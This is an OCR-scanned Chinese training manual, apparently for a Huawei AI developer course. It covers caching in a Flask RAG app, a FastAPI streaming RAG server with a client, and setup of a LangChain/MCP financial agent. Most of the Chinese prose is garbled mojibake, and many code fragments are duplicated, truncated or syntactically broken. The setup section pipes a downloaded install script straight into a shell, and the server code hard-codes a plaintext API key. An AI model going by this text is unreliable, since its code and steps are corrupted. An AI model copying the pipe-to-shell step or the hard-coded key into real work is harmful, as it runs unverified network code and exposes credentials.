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H5% {"need_rag': True, ni ‘basic_faiss_db', 'query_type': 'HZWHNA", 'label': @, |'confidence':

[RE&io1E :
WX IMZEANNERRXAS , WS RIS MR R HINEEE

13.3 BEW

[l HARSINRERRBYE, B RAG PEAER?

SEER:

ZINREBRSSTF AR SRR WSS S, BN AENNERIMRAEGER, MIFREE
R, fIINEHFRXHEE . REMEREIIRE ., J4R/IMOTEE, BAOTXHREE, 2
FHEREESHEE; RNREAEWSEEE, SHINRERE, RREHFEETHE, BOLX
SRIEMAIREL]R .

13.4 L3S/ NG

AELIGEIITE 2 MNRENS, IEFRFSEIT)IGIREER, KRR query RISSHIIE
FRIEGRRAIRE, REREENENRD LIRS .
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1 4 REHLE

14.1 SCIGN4R

14.1.1 XF AL

MFRDEIMERSH TR, TRSXUSEHENNSRE, NMROZnHES, OZEABY

14.1.2 LG HAY
o EREEVHEIAYER,

14.1.3 SCIG#K)

FEFAEHET, BESRBERENET, ASBRENREERNEHRET, RaHTE
FUERIGIIE

14.2 SCOGER(E

14.2.1 S AR IENEIEEF
£ rag.py IR FRiICROZHENEEFTSE, BSE rag.py P TER.
TR 1 MOSEFRLE

ZR— U
from collections import OrderedDict

MAX_CACHE_SIZE = 10 # BRZ{RFHEIIL 105
QA_CACHE = OrderedDict() # LRU 2E1F454

def save_to_cache(query: str, answer: str):
"RFRIES, BohEiA&IER
if query in QA_CACHE:
del QA_CACHE[query] # &

QA_CACHE[query] = answer
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if len(QA_CACHE) > MAX_CACHE_SIZE:
QA_CACHE.popitem (last=False) # MIfcRERY

def get_from_cache(query: str):
" NERPIRIRESE, QBRI None™”
if query in QA_CACHE:
QA_CACHE.move_to_end(query) # #RcHAREERA
return QA_CACHE[query]
return None

def clear_ga_cache():

BEAEET
[ X3 ] FAISS 5|85 / AMREEHATLUERA

QA_CACHE.cclear()
print("M) AZEEFEBEE"

292

T

ragas_batch

faiss_db =

m collections import OrderedDict

MAX_CACHE_SIZE = 10
QA_CACHE = OrderedDict()

, answer: str):

iel QA_CACHE[query]

QA_CACHE[query] = answer
f len(QA_CACHE) > MAX_CACHE_SIZE:
QA_CACHE.popitem(last= e)

f get_from_cache(query:

if query in QA_CACHE:
0A CACHE.move to end(guery)

I8 2 stream_chat RN ERBA
EFHERZEINREFIFERORR, HiEAEFEREE:

> get_from_cache
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cached_answer = get_from_cache(query)
f cached_answer -
print(" 4 EREFEE")

f temp_stream():
i cached_answer

Response(temp_stream(), mimetype="text

%5931

f mode == :
t rag_router
LR3aN T
R NS> B R EFIER AR
# EEEF

cached_answer = get_from_cache(query)
if cached_answer is not None:
print(" ¢ {EREEFREIZ")
# BRREIEFNERR
def temp_stream ():
yield cached_answer
return Response(temp_stream(), mimetype="text/plain")

IR 3 RENGEEER

£ rag.py BY stream_chat BRE{H, SEH—P—OREIEZRR,

KB E:
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ad.py

moace = o
gen = rag 1f mode ==

|
answer_content = “"

f stream_and_cache():
1 answer_content
for chunk in stream_wrapper(query, mode, gen):
answer_content += chunk
1eld chunk

save_to cache(quer), answer_content)
print("# =S :

n Response(
stream_wrapper quer'y mode, gen),
mimetype="text/plair

AT EBEFTREEER, FTEITE stream_wrapper RE, REENMREEIBERIFRIHE

yield {&45R0iR, FHHEEREDREIER .,
KB ERINT:

2894

\

T— S B 2T o= E Lo —

answer_content =
# BFE—IRY, —LRER, TLEFRREER
def stream_and_cache():

# 7BH answer_content SRESMNBERE ( FRRYAESHEE )

nonlocal answer_content

# EARINRENE—EBRAS (ERRCEMSE)
for chunk in stream_wrapper(query, mode, gen):
# EB—RINFRIHEDIRBERE
answer_content += chunk
# BEMRER [ SERhREl/HEXSERIR ] , SEPFTFHER
yield chunk

# 15 [ TBHHRFER | REIESF (TXERTREEGZE )

save_to_cache(query, answer_content)

# EHIBHENER: BSRERINER
print("4 BEREEEF")
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| e STRNNEIRR-> 2 B A AT

5951

55%;‘ EXURIU H+ & REFEO

£ stream_chat IREPREIIREILERP, SLUXS F—SHRERHEHVER, FREEIRE]
A3, HIMFFAULH.

save_to cache(quer) answer_content)

n Response(
stream_and_cache(),
mimetype="t

@app.route(’/upload’', methods=
f upload():
For ¥ in request.files.getlist("file

B R

# THEHR [ £EF. BEERRE ] ARREORE
# IhRe: EEREIRNEMIER, TMUET
# IREE: SRMBERT [DR-EREF ] I8E, PLUXRABHER

# return Response(

# stream_wrapper(query, mode, gen), # BEEARUREIEE
# mimetype="text/plain" # IROIFEHEE: AR
#)

# ApiEA [ Rlmd + BREF ] OREEO

return Response(
stream_and_cache(), # —ORNEL, —OPHETE
mimetype="text/plain" # IREEHERE: HXARR

)

BEFHEF

14.2.2 SLIMRBINETF
£ rag_router.py HIARFISIERIFZHIEEFTF

SR 1 EREENMLCEEEI
£ rag_router.py BIAPINTNMUETHAG iRNIMLAD:
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ROUTER_CACHE = {

f get_router_model():

55961

1 ROUTER_CACHE
v
if ROUTER_CACHE[ "model™] i
~eturn (
ROUTER_CACHE[ "tokenizer
ROUTER CACHET®
BT
# ====== BREEFRE [ RIIE—R, EMIEZEEE )

ROUTER_CACHE = {
"tokenizer": None,#J]ia{&#Y
"model":None  #EEHEIEE

HIRENE IR EUAYER ]
def get_router_model():

il 2BREEF
FOREA MERE —~ EAEF
ZEEA: BEENEFRE

global ROUTER _CACHE

# M NREELERF, BiHRE
if ROUTER_CACHE["model"] is not None:
return (
ROUTER_CACHE["tokenizer"],
ROUTER_CACHE["model"]

# M S—RmE: RIT—R
print(" @ EDRIIEIRHEER (&EEFH..) ")
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tokenizer = BertTokenizer.from_pretrained(MODEL_PATH)
model = BertForSequenceClassification.from_pretrained (MODEL_PATH).to(DEVICE)
modeleval() # ¥EIEEZ (Z2H dropout, IMEE)

# M BAEE
ROUTER_CACHE["tokenizer"] = tokenizer
ROUTER_CACHE["model"] = model

return tokenizer, model

BB
def clear_router_model_cache():

/ BTIREER
RFig: Ein)IEEE . BRI SRR
global ROUTER_CACHE
ROUTER_CACHE["tokenizer"] = None
ROUTER_CACHE["model"] = None
print("(v) IRHBEREFEES! ")

IR 2 FREVEFIRE

f£ vector_db_route EREUINRENVEFREAINHE, INREEGFHERREVEFIVER, R
REMIGEBET.

f vector_db_route(query: str):

tokenizer,model = get_router_model()

REBI0T:

#ENRBEIFIRE, T TH 2 1T
# tokenizer = BertTokenizer.from_pretrained(MODEL_PATH)

# model = BertForSequenceClassification.from_pretrained (MODEL_PATH).to(DEVICE)
tokenizer,model= get_router_model()

14.2.3 BREFINRE
EEERIFIEFINNEBETEE, 5 MIIZ rag_router.py #1 rag.py .




S

DOk, S
HUAWEI RAG ZRiEig it 5Lk 5983

LI 1 rag_router.py *NFEERREIFAIRED
£ train_router_model BREF, FINBEFREFAVLED:

: inputs["input_i .flatten(),
: inputs i .flatten(),

: torch.tensor(label, dtype=torch.long

f train_router_model():

clear_router_model_cache()

df = pd.read_csv(". ta/ft_data.csv", header=
texts = df["text"].values

labels = df["label”].values

BT

P .
clear_router_model_cache()
#omee o ETNERIE -

£18 2 rag.py B9 upload FELEIHETE
£ upload FHEF, MR HEHIENFHRCE

® rag.py hcie_rag code X

BFEEREZMN, NABERINERFIIEEER,

Response(
stream_and_cache( ),
mimetype="text/plai

@app.route(’ /upl » methods=
f upload():
F f in request.files.getlist("file"):
f f.filename:
path = os.path.join(DATA_DIR, secure_filename(f.filename))
f.save(path)
add_file_to_index(path)

t rag_router

rag_router.clear_router_model_cache()
clear_qa_cache(x

redirect( )
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BN

importrag_router
rag_router.clear_router_model_cache()
clear_ga_cache()

IR 3 rag.py B9 delete_selected FEEIREF

7E delete_selected FREH, WNRMIFREIENELTRDSEFESAEDTN, N SERAEEFIE
gg?gﬁo

¥ rag.py hoe_rag code X

@app.route( ' /delete_selected’', methods=
delete_selected():
f in request.form.getlist(
p = os.path.join(DATA_DIR, f)
f os.path.exists(p):
os.remove(p)
delete_file_from_index(f)

t rag_router
rag_router.clear_router_model_cache()

clear_ga_cache()

redirect( )

@app.route(
build_selected_index():
f in reguest. form.getlist

I8 4 rag.py B9 build_selected_index EE AR ElF

£ build_selected index EREI, WMRIMNEFAHTIIERS|, NWEAKRRIEFESLEDTW,
R BRI B R AR BT
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@app.route(
build_selected_index():
f in request.form.getlist(

p = os.path.join(DATA_DIR, f)
f os.path.exists(p):

delete_file_from_index(f)
add_file_to_index(p)
t rag_router
rag_router.clear_router_model_cache()

clear_ga_cache()

redirect(

@app.route( pload_eval', methods=

nlood oao

12 5 rag.py B9 clear_history REUERRER
£ clear_history EREIH, WNRFEF=XNERE, MR ZEFRTIEERF

* rag.py hde_rag E

Thread(target=run_ragas_eval, args=(save_path,), daemon=
print(" [ZEECEE1] )
print( * 59)
redirect(
print(
redirect(

@app.route(
clear_history():
chat_history
chat historv = I]

clear_ga_cache()

redirect( )

@app.route(
clear_all():

23 cc b b hi ot

] 6 rag.py B clear_all RETERER
£ clear_all R, FEEZHEHNERZ.

2510033
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* rag.py hce_rag_

@app.route( -
clear_all():
faiss_db, chat_history
chat_history = []

faisc dh =

rag_router
rag_router.clear_router_model_cache()
clear_ga_cache()

ragas_batch.ragas_result = {}
ragas_batch.ragas_progress = {
shutil.rmtree(DATA_DIR, ignore_errors=
shutil.rmtree(INDEX_DIR, ignore_errors=

o,.makedlr;(DATA DIR)

14.2.4 iz17ik
I ctri+c (FLEZBIRIARSS , IRIBIERAIRERZE 2 )X ctri+c. FAIEIAN:
python rag.py |
BlimRERIFE, BARLERR

£ IPRAN HEFERBRZT, EPERRO~E LOS FE, BNREESISELEMASIR
F£EE, RESUMOME? XML TURIERI SR MR+ A7?

£ Terminal F@EHIEEEERE N TFHRE:

172.31.65. 21/ - - [16/May/2026 10:21:58] "POST /stream_chat HTTP/1.1" 200 -

X (REVEE 105 T2, ERRESE. &ﬁﬁﬁfﬂmhg
TR FU 2 2 AL

AJLRRIEREER.
Bl E -

RAG EHERIERSR

- 0D vEnaE

" FEREE (ED?‘JIEE LOS &%
i : ZYEEROET, TRAE LS
RIS HHEESRER ("%*‘I'E:F 7} @TT*EEIS’EI?’}%‘?

IDRA’\J (IP Radio Access Network) EDIP{L

**2. {RIBAYR AN
XS IS LA TR :
T IREEBAREF T EE > BEE > WSE™
¥ FEGRBIAAI™: IPRAN :Qfgaflﬁ‘é“%%L F&EEE\ELF‘:IEE BRI
n:’ﬁ&ﬂ“, EREEN, ff%ﬂnz EESEMRAES

| MR NESEITHNN, RARBEESEFHRE
% RESEERESSFENEIFE.
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BEARFNEE, SAREEFNEREREE:

21021

RAG EHERAIERSR

¥ TEERATIVET: SNESRESERHTHINT, (IEHREEESEIEARA, B
TEEELNEE, AESEERESEFENEIFE.

£ IPRAN SEFRGEHRSP, HPEEROE 10 58, ANREESISEHT
ARIRESE, RESUHETNE? XEHELURB SRt A2

1RIE (IPRAN SERBEEFEREEL) , FXVEERO~E L0S SB[
HEREESISEARRESENER, REANNESR KB :

1. RFHNEL
EHe(URBMEERON L0s SBHEHRESE, BREESWSE~4/IFT
BiRESE 2R ERRR".

* eRIREEme: ZSRBRER FX FEREE (AMEE L0S £8) .

e (D D

[BE 2 FS

IPRAN (IP Radio Access Network) EDIP{4
FTEBANW, RRIFBHNBWSHZ
itigie, TZNATEER. hREESN
PON+IPRANRESEFIMETR, BEERSGIVY
HERAVB RIS FEEN, IPRA|
RBNBICETET A, Rt
ErERENSTEARES, RE, Xl
£%, ENHTNEEINEENE, £
HEHRIERARE, BILEEARNTY
fhis, BESAGSHIEL, S8RE|
SR|BIOBPER., SHCARRREE
2025 B AHAIPRANS RSB ST
WEEATE, BT ERASRIEATHRASHEY
BALTEESEE. RESSHN, E%]
HEESZOTAENR...

»

AL EEERE RS 0B B A AR BRI

T
<]

[ 3Z#41: IPRAN SEEZRESELEAM. txt
O 32842 TimeXertSEIZEIPRANET SR MIRAIR L £ txt
J test_QA.json

O 343 IPRANEEISISIR AV ANERIE SN ERIRIEAf txt

- 2
ety [

=

[l RAGAS i (34E)

| Choose File | No file chosen

W& SEHE

HE: 0/0

FESTRES, ARSI, SERS BB

"GET / HITP/1.1"

/ HTTP/1.1"

~
w
H
aft
&

1N

[El: RAG RE5INEFIHIAML/ER?
5L

#
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AWl RAG 2219t SRR 21033
FEFEFESNORNARLRREE . AFESRONERSINESRF, WIEigNE. OEh
R, B, XKIEBHHEERE, NEFHEEDRARSEERE, SRNAE, EiREmE
FES LM BRSBEN, BARSFHAFREEED; SHREWS R, dees—mb R, B
R RAIE RER

14.4 LG/
AL =R A ISR R TR B RN Ra 209 EAR, SR EFEAKIES I
23

=
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5 HI% RAG IRSS

15.1 LG 48

15.1.1 XFARLLE

f&Bh FastAPI L& uvicorn SCIY rag fRSS :

® FastAPl: wEfEIREL, MMEBK. iETEE., REZ=E.

® uvicorn: JEaNBRSS, 1LENR / MITEEHIHRINE TR,

ETF FastAPI 192K % 2. ATl RAG BIZBEmIRSS, AIHSEEMEATEER.

15.1.2 L3 HAY
o IERAEIIRSLAI RAG AL
o HEEAPIED, HUSAYMERSNITEIEM,

15.1.3 SCIGHLK!
5E#riE api_server.py BIARIREXIIMNY API iRSS, SATSNE api_server.py {#FERY RAG BEED
rag.py et
B client_request.py FBF Mzt api_server.py B9 RAG BRZHTH,
EEB 7 3BsN api_server.py # client.py #7izT

15.2 SCOGER(E

15.2.1 FEEMIZ api_server.py SLI RAG BESS
XEFLIBE— N ET FastAP| f2R9Z 2. = RAG [IIBEHES, BARKRA:
BE5ET FastAPl BB IEORSHEEZEOESE, EXIEKIAERS API-KEY £WHE, 3FiAE
/api/rag EORBRFITEMRLE, RISEHIBTIN EEG=E;
SNESE, BEWeNRENRIBEFERR, B basic_rag_with_stream LI RAG [91&248, FHE
SRE R EMBIEBRUL RSN (SSE) M RURERIROIZA R, SEFTFHIIAYSCATRE
TR
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E/miBid uvicorn BBRSS, IHEORILATEMLS E#GA1E), BT 7 ENZ 2. RV,

RAG [BI&FREN
POINARER

from fastapi import FastAPI, Header, HTTPException
from fastapi.responses import StreamingResponse
from pydantic import BaseModel

importasyncio

importwarnings

warnings.filterwarnings("ignore")

# SNER
from rag import basic_rag_with_stream

app = FastAPI(title="RAG R=EEEO")

VALID_API_KEY = "my_secure_rag_key_2025"

# IBRIK
class QueryRequest(BaseModel):
question: str

# e W RAG $200
@app.post("/api/rag")
async def rag_stream_api(

request: QueryRequest,

authorization: str = Header(None)

#1. 12
if not authorization or not authorization.startswith("Bearer "):
raise HTTPException(status_code=401, detail="R#ENEIE§
api_key = authorization.split(" ")[1]
if api_key != VALID_API_KEY:
raise HTTPException(status_code=403, detail="Ff}$87c31")

# 2. MRS
async def stream_generator():
# W3 RAG 4k (2R% yield Hith)
async for chunk in basic_rag_with_stream(request.question):
yield f'data: {chunk}\n\n"
await asyncio.sleep(0.01) # EHET=HHR

return StreamingResponse(
stream_generator(),
media_type="text/event-stream"

H >0

=1

)
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if _name__=="_main_":
import uvicorn
uvicorn.run("api_server:app", host="0.0.0.0", port=7861)

2510611

15.2.2 rag.py 12HXT api_server.py B9
¥ RAG BYIHRETZ=AEREMR RAG T H, BN — ARXEERRIER .
EFFSARIN:

rag.py FiRINFIETEARAS, ™Y

% rag.py hcie_rag code X

) 2

n resp.choices[@].message.content.strip()

f basic_rag with_stream(query):

m retriever import hybrid_search

init_models()
init_faiss()

faiss_db = files.faiss_db
t faiss_db:
print ("S5 LEE
d json.dumps({" ent”: "B LESaETS| ), ensure_ascii=

RABINT:

async def basic_rag_with_stream(query):

fEM: RAG ElRIEE — BB — BERARESRER
WA FRFIERE query
Bt RmzC JSON =55

from retriever import hybrid_search

init_models()
init_faiss()

faiss_db = files.faiss_db

if not faiss_db:
print("iE 55 LIEIEITEZRS]")
yield json.dumps({"content": "i&55_E{ES14H7EZRE| "}, ensure_ascii=False)
return

#---iBEER-—--
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print("-------- BatE-—---- ")
docs = hybrid_search(faiss_db,query,k=3)
context_text = chr(10).join([d.page_content for d in docs[:3]])
print(f"-------- FRER - {context_text}")
resp = client.chat.completions.create(

model="qwen3.5-plus",

stream=True

#EEBER5DE token HIREL
full_answer = ""
for chunk in resp:
if chunk.choices and chunk.choices[0].delta.content:
text = chunk.choices[0].delta.content
full_answer += text

yield json.dumps({"content": text }, ensure_ascii=False)

messages=[{"role": "user", "content": f'_E~3Z: { context_text }\n [agk: {query}"}],

21073,

15.2.3 FEEBIZ client_request.py SCIIXT RAG HYEF
M client_request.py SCINRT RAG IRSSAYIER -
1£ client_request.py FAICIBA0T :

import requests
importjson

# BE

API_KEY = "my_secure_rag_key_2025"

def ask_rag_stream(question):
headers = {
"Authorization": f"Bearer {API_KEY}",
"Content-Type": "application/json"

}

data = {"question": question}

try:
response = requests.post(
API_URL,
json=data,
headers=headers,
stream=True
)

response.raise_for_status()

print("Al [@%&: ", end="", flush=True)

API_URL = "http://127.0.0.1:7861/api/rag/" #IP FlinIEFEAZIAZE, BesziMaial, BEEK
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for chunk in response.iter_lines():
if chunk:
chunk = chunk.decode("utf-8")
if chunk.startswith("data: "):
text = chunk.replace("data: ", "")
result = json.loads(text)
print(result['content], end="", flush=True)
print("\n")

except Exception as e:
print(f'#&iR: {e}")

if _name__=="_main_":
question = "IPRAN & HI LAG SHEERZEARE? "
print(f"/Z&X: {question}")

ask_rag_stream(question)

28108

ISR

# S\ requests E, BTAE HTTP &%k (BREREND)
import requests
# S json FE, ATHEFTEREERY JSON 1&{EHR

import json

# [y=201

# [5im RAG Ot

# IR BERNHIEUAE, FRINGIIFEIEL IP i
API_URL = "http://127.0.0.1:7861 /api/rag/"

# BOSNAN AP A (FIEHERS—)

API_KEY = "my_secure_rag_key_2025"

# MIVD R E

def ask_rag_stream(question):

BRRIR RAG mzliE, SCAYIREN Al EZ
:param question: F3F AR
# Ak ETENER + HiEEN9 JSON
headers={
"Authorization": f"Bearer {API_KEY}", # B{pI&iF
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"Content-Type": "application/json" # HIESR

# KMEEREE: HEawEEay JSSON &30
data = {"question": question}

try:
# &iE POST iBkKEGGiR, FHE stream iRTUIEUL
response = requests.post(
API_URL,
json=data,
headers=headers,
stream=True # ¥*%&: FERIEH
)
# WNRIERRIE (401/403/500 ) , HEMHRE

response.raise_for_status()

# FHAITED Al @%, flush=True {RIFSEATiaH
print("Al [B]Z: ", end="", flush=True)

# FATIER R imRERY R AR
for chunk in response.iter_lines():
if chunk: # 3BT
# BT HFIEUERRRS TR R
chunk = chunk.decode ("utf-8")
# FIBTEE R SSE frER data JHE
if chunk.startswith("data: "):
# Kl data: FIZR, EFESTHIE
text =chunk.replace("data: ", "")
# BRHT JSON #iRE
result = json.loads(text)
# CEHTENEIEAS, NMR1T, SEEHFTFHMER
print(result['content'], end="", flush=True)
# PIBEREREIRT
print("\n")
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%1101

#

except Exception as e:
# HIRRBEFHITHERER

print(f'$#i%: {e}")

AL

if _name__=="_main_":

# Mzl ia)R

question = "IPRAN i€ FHIN LAG EERIZEALIE?

print(f"[a&&: {question}")
# BARARIUEIZERE

ask_rag_stream(question)

15.2.4 E58

2 RAG T ErJiE M

ctri+c ZIEZRIRVARSS , ARIBBIRATRERE 2K ctri+co ABRIA:

| python api_server.py

Terminal REMHIT :

(PyTorch-2.1.0) [root@6528a9d76d39 hcie_rag code]# python api_server.py
Started server process [ ]

TERMINAL

Waiting for application startup.
Application startup complete.
Uvicorn running on http://0.0.0.0:7861 (Press CTRL+C to quit)

1Z Terminal ~%k17], F#TH— Terminal:

Go

(PyTorch-2

Run Termirq' Help client_request.py [SSH: Atlas800T1 (root@1

New Termina Ctri+Shift+
Split Terminal (2 Ctri+Shift+5
New Terminal In Window is(text)

s ENG=""

Run Selected Text

Configure Tasks..
Configure Default

Started server pro
Waiting for application startup.
Application startup complete.

Uvicorn running on http://0.0.0.0:7861 (Press CTRL+C to quit)

flush=

le]# python api_server.py

] - VSCode-huawei
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vs code FHEDE—1HRAY Terminal:

TERMINAL (3] docker - hcie_rag_code 4

System information as of time: Sat May 16 ©2:02:42 PM (ST 2026

Waiting for appli
Application startup complete. System load: 3.31
Uvicorn running on hittp://0.0.0.0:7861 (Press CTRL+C to quit)

2 /bin/bas

(PyTorch-2.1.8) [root@é! 6a39 /3¢ I

BREF[HNIN AT, BYJiRE] hcie_rag_code {4k,
TN
| python client_request.py

A3 1ﬁ'aEIu("FIE{ |, BKRIRSESHAE [ TEAM ]

BESATIEFFEESE

1588 RAG BRSS imAlEs FimiIIES o

15.3 BZ&Wm

@@ : ETF FastAPl+uvicorn $5# RAG BRSZH RS, SLHIBRERSERZTA

sEXE

{5/ FastAPl w5 EimiE], &E RAG B2 B2, uvicorn ASEBIRSXIIMEMIS
ia, XIBo ERfEE, api_server.py 24t API A, rag.py F3&EzNa&ae], client FEIZARRF

BOWR,. ZhEamEeeRinEain, mEthtEn, BeettenmEn, wafEmst
ST EMESEREAER, SEU RAG BEHER. IRSSIBEESERIF .

15.4 SCIG /N5

ALY SHET FastAPI # wvicorn SEHIZ 2 izl AIIRSSUAY RAG [IIBRE, FHGHES
AP EO, HERMENINIIRER, IS5 E,
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16.1 }eZ=LELHIE ( Embedding t2EY440 )

%I B¥R: (it Embedding ME&EEY, 4a/)\SRIBRIEN Z16
1.

WIS EE

UH A B E)-SAHIEREAR . RIS,

MEER

BERT-base. Sentence-BERT. bge X [@Et&E!
HiEBC

MEEFESIRE, FuARRWSENMSERE, It XAS -
{EF

KIERFIMERTEG T ERE, XHEIEEWARIE,
ERE=

EHEE., REHE. TIHE. ANEERIRE.

16.2 KiEEUESHEOE ( LLM B )

BB IEREENER TUIEAR . EIEHREL. LRAN
1.

[ 6

KR TN +AF R RIS EEER .

RUREEE

WY Fia. Llama. Qwen. InternLM SFFHRAER,
HiER=

ek SFT 15S1A. LoRA 1220 (RRAEIE) .
ER

FRREREINREASES. IERREURIMNR. F—OEEN . EEATIER,

ERz=
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e ARERRIRE. EHRETE . MEHERE

16.3 RAG 5 NEEHS S Big

BEE 1 IMRENESAMEEOER (RES )

1. e
FFEa—-LAmE (k& MER. 30, RiERiE) ~UEERIREESL A X
BXENE =ToE R RR A XN EEEER
2. R
RRAUE, M RAG B84,
3. fRAROER
FRREESI AN RAG SCIRIE Y . EFRRS. BUZIRBER,
4. EREZ=

EHRE . BHES. BEEEXTE,

B 2: EIEIEEHHE + XA RAG WHEER (FRIEFE)
1. g
query [EIRTFRERALTE:
X8 1 BRNAENICER, BENEAR,
FE§ 2: FHRENSHEHA+XR, HIBSERE. FTRXR. LEWE
REEEHHER ENKNERERE R,
2. fiE
BEENAHTEINR, NEEHGEEXR.
3. fRRE)E
mrEREE. NREE. LRIFEDE.
4. ERE=
TEHERE. SEEERE. SRR,
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LIRS A

1.1 SLIEN B

1.1.1 XF AL

ASLIEETF LangChain ¥RV ERAITE IS 8L Agent, REMRERIASTHIEEEE Agent
FEEK, EIISSINTER MCP ( Model Context Protocol ) 5 Skills BO9{SEREEM ., 2>
BirefiFAE RRIGEER S LBV RBERNEENY SRS Al A,

1.1.2 TNH B A IR E
ARAGN B :
KR AZREE:
Python3.11+
I BEMIEITING:
LangChain1.2+

Hh{kis (40 MCP #8%. TEH / $Eeiki ) 2% pyproject.toml 8 uv.lock 4FKEX
SRAKEN AR, FEARERIOT:

84 RRAZERK 5iAe
setuptools >=45 IR R R
wheel : 1O R FAKHR
baostock >=0.8.9 e SR OE
deepagents ==0.3.6 Agent 1222 (ElIEhRA )
exceptiongroup >=1.3.1 FEDHEE
langchain >=1.2.6 LangChain #Z(MEZR
m‘f;_gfjg‘;it”e'rs >=0.2.1 LangChain MCP i&#isg
langchai'n- >=1.1.7 LangChain OpenAl £5§
openai
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mcp >=1.25.0 MCP #}YSEH]
nest-asyncio >=1.6.0 RESHBR IS
numpy >=2.4.2 HETEE
pandas >=3.0.0 IR DT E
python-dotenv >=1.2.1 MRTEEHE
requests >=2325 HTTP i&REE
rich >=14.2.0 LimEti
tabulate >=0.9.0 FEE L
tavily-python >=0.7.19 Tavily #2 APl Z Pifk

1.1.3 TRE A5/ 4R

8|

Financial-Agent-AtlasServer/
main.py

I— .env
I— pyproject.toml
—— src/
— Financial_Agent/

—— __init__.py

—— agent/

# INBSANO: B Agent/ B8 MCP Host
# BT ERE (APl Key. MCP FF£. B1R)
# IREWKERETE (Python &)

# HEZR LIRS E

# Agent #UIEEIZE

__init__py
base_agentpy # Efii Agent 3£
| L— planner.py # {ESHIKIES

—— memory/ # 1CiZEER

|-— __init__.py

L— long_term_memory.py

I— __init__.py

— tools/ # KEREFIR
| | F— _init_py # BaiEMREIE
| | F— search.py # MERRTE
| | F— file.py # MHEETHE
| | F— fetch.py # MITUMER TR
| | L— finance.py # SRHETIIE
L— skills/

# ERNEERRE (KEED )

':_init_.py
base_skillpy # FhBEEE

# MCP #ZOMER
# S MCPHost 25 main.py &
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F— config.py # MCP FE& (RSBE. PUR. #&AT)

|
| — host.py # MCP Host BRS3SCER
| F— server.py # MCP trEIMYARSSEE ( stdin/stdout )
| — tools.py # JEFLEE: 45 src/tools 59 MCP TH
| F— skills.py # 1BFEEs: 9§ skills A MCP TH
| L— session.py # MCP £iE&1E ( LT TXRE)
Lskills/ # [Ws3ikee] (APEEXSHILEE)
| —_init_py # EENR ST Ay
|  — basepy # ASSHepeHEsR

—— common/ # BREEES
| | —file_skillpy # SR IERRRE
| | —web_skillpy # MTHERS DR

—— finance/ # ERERFAEEES

F— macro_skill.py # BMEFTDHT
F— company_skillpy # trATEE
L— gold_skill.py # ESTEOF

|

|

|

I— research/ # MRIREFEER
F—industry_skillpy # 1TSS
L—report_skillpy ~ # IBEER (HEE)

L—— workspaces/ # MHETEX
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2.1 SCISIAEESR
I 1 (E%) BIBEPD ASSEINE

SCIGHETETE docker FRSERK, WISRTIARBEN docker RILATEAMSARNA5ERY, EA&E
T12/N\BNENNEEIE, BITRFEXKEFIZTANRER

BMANTES, EREXURELRIEE:

docker run --name hcie-ai-trainee -d -it -v /etc/locale.conf:/etc/locale.conf -v/mnt/mnt -w /mnt/PEZ%
12/ N ABEIZR --shm-size 16G swr.cn-south-1.myhuaweicloud.com/ascendhub/cann:8.5.0-910b-
openeuler24.03-py3.11 bash

SHURAFINT:
28 r=p'
docker run BIEH B — 1 ER
--name hcie-ai-trainee Y& B3 /9 hcie-ai-trainee
d detach i&x,, FEERDIET
HESH:
it - -i (interactive) f&#F STDIN FTFH

- -t (tty) DENRiRm
BERTHAZEL shell

FREENSUS: FEREENLRY /etc/locale.conf ( K
-v /etc/locale.conf/etc/locale.conf | FES/KIHIKE ) EHFIRFEEREZR, RIS
MESHESHEEN—H

FHER: BBEEVEY /mnt/ATRIEE/ AR

-v /mnt/VHERIRR /N ARZ:/mnt | 2 BEREHIIBRZN /mnt BR

TR LRSS FIER
IRERBHZREFEAN (/dev/shm) J3 16GB, XF
KiERY)||%/PyTorch SHEEHRREE

98b8567237d8 #1% ID (=@ docker images &% )

--shm-size 16G
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bash BRBEEITISS (F5h Bash i )

L2 EUTRABINEE
HANVRBR/ANABRT:

| cd /mny/HEREEE/ AR

IS IRENBEE: https://certification-data.obs.cn-north-4.myhuaweicloud.com/CHS/HCIE-
Al%?20Developer/V1.0/Financial-Agent-AtlasServer.zip,

fRIERCRSE:

| unzip /mnt/HCIE-Developer-wxf/Financial-Agent-AtlasServer.zip

I3 (T%) HBADADSERE

| docker exec -it -u root hcie-ai-trainee /bin/bash

LR 4  RELIKIRINE

HAINEHBRIRER:

cd Financial-Agent-AtlasServer

AU TIES HBIZEE Nodejs F1 uv ( MCP &5 ) -
(EZE yum, IR Ubuntutba]B aptETH)
[AN]:

| yum install -y nodejs

[RESEm] -

Installed:

nodejs-1:20.18.2-7.0e2403sp2.aarch64  nodejs-docs-1:20.18.2-7.0e2403sp2.noarch  nodejs-full-i18n-
1:20.18.2-7.0e2403sp2.aarch64  nodejs-libs-1:20.18.2-7.0e2403sp2.aarch64  npm-1:10.8.2-
1.20.18.2.7.0€2403sp2.aarch64

Complete!

KWERE Node js 2RI, MANTESEERAS:
[fAN] :

| node --version

[&F@E] :

v20.18.2

(8] 222 uv:

| curl -LsSf https://astral.sh/uv/install.sh | sh

[2&mE] :

downloading uv 0.11.12 aarch64-unknown-linux-gnu
installing to /root/.local/bin
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uv
uvx
everything's installed!
To add $HOME/.local/bin to your PATH, either restart your shell or run:
source $HOME/.local/bin/env (sh, bash, zsh)
source $HOME/ local/bin/env fish (fish)
[ ] EENETE:
| source $HOME/ local/bin/env
TEIEHHEEERR.
[#A]:
| uv --version
[&ERmE ] :
| uv 0.11.12 (aarch64-unknown-linux-gnu)
Elt, LWFIEAEEERETH.
S5 jERIR MCP TEMY APIKEY Fes

#miE/mnt/Financial-Agent-AtlasServer/.env 3{4:
{EXEN T =4bAY API_KEY:

MR https://open.bochaai.com/: SKENEXREET API_KEY, Agent ZEEFSNBTE
B, SIDFEMIEZIREGEAHEE . AIEEE Al FITES > 554 > API KEY &1

1.

-> Bl API KEY:

#

# Web Search Config
i
BOCHAﬁAPIiKEY:"@Jg— .

FEAMERY API_KEY: BIfEEA Qwen RIIIEEL,

# LLM Config
#

QWEN MODEL="gwen3-max"
QWEN API="gk- i
QOWEN URL="https://dashscope.aliyuncs.com/compatible-mode/v1"

5(ER qwen3-coder-plus > gwen3-max > qwen3-coder-flash > others
LEAMERSZHF Qwen RIIERIRESET (A=, EERN. ) o

EeEMmEER, MRES il EirHY APIKEY,

# Image Generation Config (DashScope ImageSynthesis)
#
IMAGE_MODEL-{"guen-image-plus"| # P4 LRSI 44 F5

IMAGE_SIZE_DEFAULT="1664*928"  # BRIAEMEN~F, Tak{H: 1024*1024, 1280*720, 720*1280,

IMAGE_TIMEOUT=120 # B A R s IE] CFD D

1664*928
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2.2 SLI R IEIElT
2.2.1 BENXR®IH

